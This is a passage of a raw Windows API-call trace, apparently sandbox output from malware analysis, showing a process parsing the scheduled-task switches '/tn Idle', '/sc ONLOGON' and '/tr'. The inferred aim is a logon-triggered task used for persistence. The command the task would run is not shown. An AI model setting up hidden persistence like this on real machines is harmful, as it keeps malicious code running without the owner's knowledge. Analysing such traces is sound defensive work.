lstrlenW (lpString="s") returned 1 [0133.952] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.952] lstrlenW (lpString="tn") returned 2 [0133.952] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.952] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|s|") returned 3 [0133.952] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.952] lstrlenW (lpString="|s|") returned 3 [0133.952] lstrlenW (lpString="|tn|") returned 4 [0133.952] SetLastError (dwErrCode=0x490) [0133.952] lstrlenW (lpString="u") returned 1 [0133.953] lstrlenW (lpString="u") returned 1 [0133.953] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] lstrlenW (lpString="tn") returned 2 [0133.953] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|u|") returned 3 [0133.953] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.953] lstrlenW (lpString="|u|") returned 3 [0133.953] lstrlenW (lpString="|tn|") returned 4 [0133.953] SetLastError (dwErrCode=0x490) [0133.953] lstrlenW (lpString="p") returned 1 [0133.953] lstrlenW (lpString="p") returned 1 [0133.953] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] lstrlenW (lpString="tn") returned 2 [0133.953] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|p|") returned 3 [0133.953] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.953] lstrlenW (lpString="|p|") returned 3 [0133.953] lstrlenW (lpString="|tn|") returned 4 [0133.953] SetLastError (dwErrCode=0x490) [0133.953] lstrlenW (lpString="ru") returned 2 [0133.953] lstrlenW (lpString="ru") returned 2 [0133.953] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] lstrlenW (lpString="tn") returned 2 [0133.953] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.953] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ru|") returned 4 [0133.953] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.953] lstrlenW (lpString="|ru|") returned 4 [0133.954] lstrlenW (lpString="|tn|") returned 4 [0133.954] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0133.954] SetLastError (dwErrCode=0x490) [0133.954] lstrlenW (lpString="rp") returned 2 [0133.954] lstrlenW (lpString="rp") returned 2 [0133.954] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.954] lstrlenW (lpString="tn") returned 2 [0133.954] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.954] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rp|") returned 4 [0133.954] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.954] lstrlenW (lpString="|rp|") returned 4 [0133.954] lstrlenW (lpString="|tn|") returned 4 [0133.954] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0133.954] SetLastError (dwErrCode=0x490) [0133.954] lstrlenW (lpString="sc") returned 2 [0133.954] lstrlenW (lpString="sc") returned 2 [0133.954] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.954] lstrlenW (lpString="tn") returned 2 [0133.954] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.954] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.954] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.954] lstrlenW (lpString="|sc|") returned 4 [0133.954] lstrlenW (lpString="|tn|") returned 4 [0133.954] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0133.954] SetLastError (dwErrCode=0x490) [0133.954] lstrlenW (lpString="mo") returned 2 [0133.955] lstrlenW (lpString="mo") returned 2 [0133.955] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] lstrlenW (lpString="tn") returned 2 [0133.955] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|mo|") returned 4 [0133.955] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.955] lstrlenW (lpString="|mo|") returned 4 [0133.955] lstrlenW (lpString="|tn|") returned 4 [0133.955] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0133.955] SetLastError (dwErrCode=0x490) [0133.955] lstrlenW (lpString="d") returned 1 [0133.955] lstrlenW (lpString="d") returned 1 [0133.955] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] lstrlenW (lpString="tn") returned 2 [0133.955] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|d|") returned 3 [0133.955] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.955] lstrlenW (lpString="|d|") returned 3 [0133.955] lstrlenW (lpString="|tn|") returned 4 [0133.955] SetLastError (dwErrCode=0x490) [0133.955] lstrlenW (lpString="m") returned 1 [0133.955] lstrlenW (lpString="m") returned 1 [0133.955] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] lstrlenW (lpString="tn") returned 2 [0133.955] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.955] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|m|") returned 3 [0133.956] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.956] lstrlenW (lpString="|m|") returned 3 [0133.956] lstrlenW (lpString="|tn|") returned 4 [0133.956] SetLastError (dwErrCode=0x490) [0133.956] lstrlenW (lpString="i") returned 1 [0133.956] lstrlenW (lpString="i") returned 1 [0133.956] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.956] lstrlenW (lpString="tn") returned 2 [0133.956] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.956] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|i|") returned 3 [0133.956] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.956] lstrlenW (lpString="|i|") returned 3 [0133.956] lstrlenW (lpString="|tn|") returned 4 [0133.956] SetLastError (dwErrCode=0x490) [0133.956] lstrlenW (lpString="tn") returned 2 [0133.956] lstrlenW (lpString="tn") returned 2 [0133.956] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.956] lstrlenW (lpString="tn") returned 2 [0133.956] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.956] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.956] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tn|") returned 4 [0133.956] lstrlenW (lpString="|tn|") returned 4 [0133.956] lstrlenW (lpString="|tn|") returned 4 [0133.956] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0133.956] SetLastError (dwErrCode=0x0) [0133.956] SetLastError (dwErrCode=0x0) [0133.956] lstrlenW (lpString="Idle") returned 4 [0133.957] lstrlenW (lpString="-/") returned 2 [0133.957] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0133.957] SetLastError (dwErrCode=0x490) [0133.957] SetLastError (dwErrCode=0x490) [0133.957] SetLastError (dwErrCode=0x0) [0133.957] lstrlenW (lpString="Idle") returned 4 [0133.957] StrChrIW (lpStart="Idle", wMatch=0x3a) returned 0x0 [0133.957] SetLastError (dwErrCode=0x490) [0133.957] SetLastError (dwErrCode=0x0) [0133.957] lstrlenW (lpString="Idle") returned 4 [0133.957] SetLastError (dwErrCode=0x0) [0133.957] SetLastError (dwErrCode=0x0) [0133.957] lstrlenW (lpString="/sc") returned 3 [0133.957] lstrlenW (lpString="-/") returned 2 [0133.957] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.957] lstrlenW (lpString="create") returned 6 [0133.957] lstrlenW (lpString="create") returned 6 [0133.957] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.957] lstrlenW (lpString="sc") returned 2 [0133.957] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.957] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.957] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.957] lstrlenW (lpString="|create|") returned 8 [0133.957] lstrlenW (lpString="|sc|") returned 4 [0133.957] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0133.957] SetLastError (dwErrCode=0x490) [0133.957] lstrlenW (lpString="?") returned 1 [0133.957] lstrlenW (lpString="?") returned 1 [0133.957] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] lstrlenW (lpString="sc") returned 2 [0133.958] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|?|") returned 3 [0133.958] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.958] lstrlenW (lpString="|?|") returned 3 [0133.958] lstrlenW (lpString="|sc|") returned 4 [0133.958] SetLastError (dwErrCode=0x490) [0133.958] lstrlenW (lpString="s") returned 1 [0133.958] lstrlenW (lpString="s") returned 1 [0133.958] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] lstrlenW (lpString="sc") returned 2 [0133.958] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|s|") returned 3 [0133.958] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.958] lstrlenW (lpString="|s|") returned 3 [0133.958] lstrlenW (lpString="|sc|") returned 4 [0133.958] SetLastError (dwErrCode=0x490) [0133.958] lstrlenW (lpString="u") returned 1 [0133.958] lstrlenW (lpString="u") returned 1 [0133.958] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] lstrlenW (lpString="sc") returned 2 [0133.958] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.958] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|u|") returned 3 [0133.958] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.958] lstrlenW (lpString="|u|") returned 3 [0133.958] lstrlenW (lpString="|sc|") returned 4 [0133.958] SetLastError (dwErrCode=0x490) [0133.959] lstrlenW (lpString="p") returned 1 [0133.959] lstrlenW (lpString="p") returned 1 [0133.959] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] lstrlenW (lpString="sc") returned 2 [0133.959] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|p|") returned 3 [0133.959] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.959] lstrlenW (lpString="|p|") returned 3 [0133.959] lstrlenW (lpString="|sc|") returned 4 [0133.959] SetLastError (dwErrCode=0x490) [0133.959] lstrlenW (lpString="ru") returned 2 [0133.959] lstrlenW (lpString="ru") returned 2 [0133.959] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] lstrlenW (lpString="sc") returned 2 [0133.959] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ru|") returned 4 [0133.959] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.959] lstrlenW (lpString="|ru|") returned 4 [0133.959] lstrlenW (lpString="|sc|") returned 4 [0133.959] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0133.959] SetLastError (dwErrCode=0x490) [0133.959] lstrlenW (lpString="rp") returned 2 [0133.959] lstrlenW (lpString="rp") returned 2 [0133.959] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] lstrlenW (lpString="sc") returned 2 [0133.959] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.959] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rp|") returned 4 [0133.960] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.960] lstrlenW (lpString="|rp|") returned 4 [0133.960] lstrlenW (lpString="|sc|") returned 4 [0133.960] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0133.960] SetLastError (dwErrCode=0x490) [0133.960] lstrlenW (lpString="sc") returned 2 [0133.960] lstrlenW (lpString="sc") returned 2 [0133.960] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.960] lstrlenW (lpString="sc") returned 2 [0133.960] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.960] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.960] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.960] lstrlenW (lpString="|sc|") returned 4 [0133.960] lstrlenW (lpString="|sc|") returned 4 [0133.960] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0133.960] SetLastError (dwErrCode=0x0) [0133.960] SetLastError (dwErrCode=0x0) [0133.960] lstrlenW (lpString="ONLOGON") returned 7 [0133.960] lstrlenW (lpString="-/") returned 2 [0133.960] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0133.960] SetLastError (dwErrCode=0x490) [0133.960] SetLastError (dwErrCode=0x490) [0133.960] SetLastError (dwErrCode=0x0) [0133.960] lstrlenW (lpString="ONLOGON") returned 7 [0133.960] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0133.960] SetLastError (dwErrCode=0x490) [0133.960] SetLastError (dwErrCode=0x0) [0133.960] GetProcessHeap () returned 0x150000 [0133.960] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d490 [0133.961] _memicmp (_Buf1=0x16d490, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.961] lstrlenW (lpString="ONLOGON") returned 7 [0133.961] GetProcessHeap () returned 0x150000 [0133.961] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d550 [0133.961] lstrlenW (lpString="ONLOGON") returned 7 [0133.961] lstrlenW (lpString=" \x09") returned 2 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0133.961] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0133.961] GetLastError () returned 0x0 [0133.961] lstrlenW (lpString="ONLOGON") returned 7 [0133.961] lstrlenW (lpString="ONLOGON") returned 7 [0133.961] SetLastError (dwErrCode=0x0) [0133.961] SetLastError (dwErrCode=0x0) [0133.961] lstrlenW (lpString="/tr") returned 3 [0133.961] lstrlenW (lpString="-/") returned 2 [0133.961] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.961] lstrlenW (lpString="create") returned 6 [0133.961] lstrlenW (lpString="create") returned 6 [0133.961] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.961] lstrlenW (lpString="tr") returned 2 [0133.961] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.961] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|create|") returned 8 [0133.962] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.962] lstrlenW (lpString="|create|") returned 8 [0133.962] lstrlenW (lpString="|tr|") returned 4 [0133.962] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0133.962] SetLastError (dwErrCode=0x490) [0133.962] lstrlenW (lpString="?") returned 1 [0133.962] lstrlenW (lpString="?") returned 1 [0133.962] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.962] lstrlenW (lpString="tr") returned 2 [0133.962] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.962] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|?|") returned 3 [0133.962] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.962] lstrlenW (lpString="|?|") returned 3 [0133.962] lstrlenW (lpString="|tr|") returned 4 [0133.962] SetLastError (dwErrCode=0x490) [0133.962] lstrlenW (lpString="s") returned 1 [0133.962] lstrlenW (lpString="s") returned 1 [0133.962] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.962] lstrlenW (lpString="tr") returned 2 [0133.962] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.962] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|s|") returned 3 [0133.962] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.962] lstrlenW (lpString="|s|") returned 3 [0133.962] lstrlenW (lpString="|tr|") returned 4 [0133.962] SetLastError (dwErrCode=0x490) [0133.962] lstrlenW (lpString="u") returned 1 [0133.962] lstrlenW (lpString="u") returned 1 [0133.962] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] lstrlenW (lpString="tr") returned 2 [0133.963] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|u|") returned 3 [0133.963] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.963] lstrlenW (lpString="|u|") returned 3 [0133.963] lstrlenW (lpString="|tr|") returned 4 [0133.963] SetLastError (dwErrCode=0x490) [0133.963] lstrlenW (lpString="p") returned 1 [0133.963] lstrlenW (lpString="p") returned 1 [0133.963] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] lstrlenW (lpString="tr") returned 2 [0133.963] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|p|") returned 3 [0133.963] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.963] lstrlenW (lpString="|p|") returned 3 [0133.963] lstrlenW (lpString="|tr|") returned 4 [0133.963] SetLastError (dwErrCode=0x490) [0133.963] lstrlenW (lpString="ru") returned 2 [0133.963] lstrlenW (lpString="ru") returned 2 [0133.963] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] lstrlenW (lpString="tr") returned 2 [0133.963] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.963] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|ru|") returned 4 [0133.963] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.963] lstrlenW (lpString="|ru|") returned 4 [0133.963] lstrlenW (lpString="|tr|") returned 4 [0133.964] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0133.964] SetLastError (dwErrCode=0x490) [0133.964] lstrlenW (lpString="rp") returned 2 [0133.964] lstrlenW (lpString="rp") returned 2 [0133.964] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.964] lstrlenW (lpString="tr") returned 2 [0133.964] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.964] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|rp|") returned 4 [0133.964] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.964] lstrlenW (lpString="|rp|") returned 4 [0133.964] lstrlenW (lpString="|tr|") returned 4 [0133.964] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0133.964] SetLastError (dwErrCode=0x490) [0133.964] lstrlenW (lpString="sc") returned 2 [0133.964] lstrlenW (lpString="sc") returned 2 [0133.964] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.964] lstrlenW (lpString="tr") returned 2 [0133.964] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.964] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|sc|") returned 4 [0133.964] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.964] lstrlenW (lpString="|sc|") returned 4 [0133.964] lstrlenW (lpString="|tr|") returned 4 [0133.964] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0133.964] SetLastError (dwErrCode=0x490) [0133.964] lstrlenW (lpString="mo") returned 2 [0133.964] lstrlenW (lpString="mo") returned 2 [0133.964] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.964] lstrlenW (lpString="tr") returned 2 [0133.965] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.965] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|mo|") returned 4 [0133.965] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.965] lstrlenW (lpString="|mo|") returned 4 [0133.965] lstrlenW (lpString="|tr|") returned 4 [0133.965] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0133.965] SetLastError (dwErrCode=0x490) [0133.965] lstrlenW (lpString="d") returned 1 [0133.965] lstrlenW (lpString="d") returned 1 [0133.969] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] lstrlenW (lpString="tr") returned 2 [0133.970] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|d|") returned 3 [0133.970] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.970] lstrlenW (lpString="|d|") returned 3 [0133.970] lstrlenW (lpString="|tr|") returned 4 [0133.970] SetLastError (dwErrCode=0x490) [0133.970] lstrlenW (lpString="m") returned 1 [0133.970] lstrlenW (lpString="m") returned 1 [0133.970] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] lstrlenW (lpString="tr") returned 2 [0133.970] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|m|") returned 3 [0133.970] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.970] lstrlenW (lpString="|m|") returned 3 [0133.970] lstrlenW (lpString="|tr|") returned 4 [0133.970] SetLastError (dwErrCode=0x490) [0133.970] lstrlenW (lpString="i") returned 1 [0133.970] lstrlenW (lpString="i") returned 1 [0133.970] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] lstrlenW (lpString="tr") returned 2 [0133.970] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.970] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|i|") returned 3 [0133.970] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc568 | out: _Buffer="|tr|") returned 4 [0133.970] lstrlenW (lpString="|i|") returned 3 [0133.970] lstrlenW (lpString="|tr|") returned 4 [0133.970] SetLastError (dwErrCode=0x490) 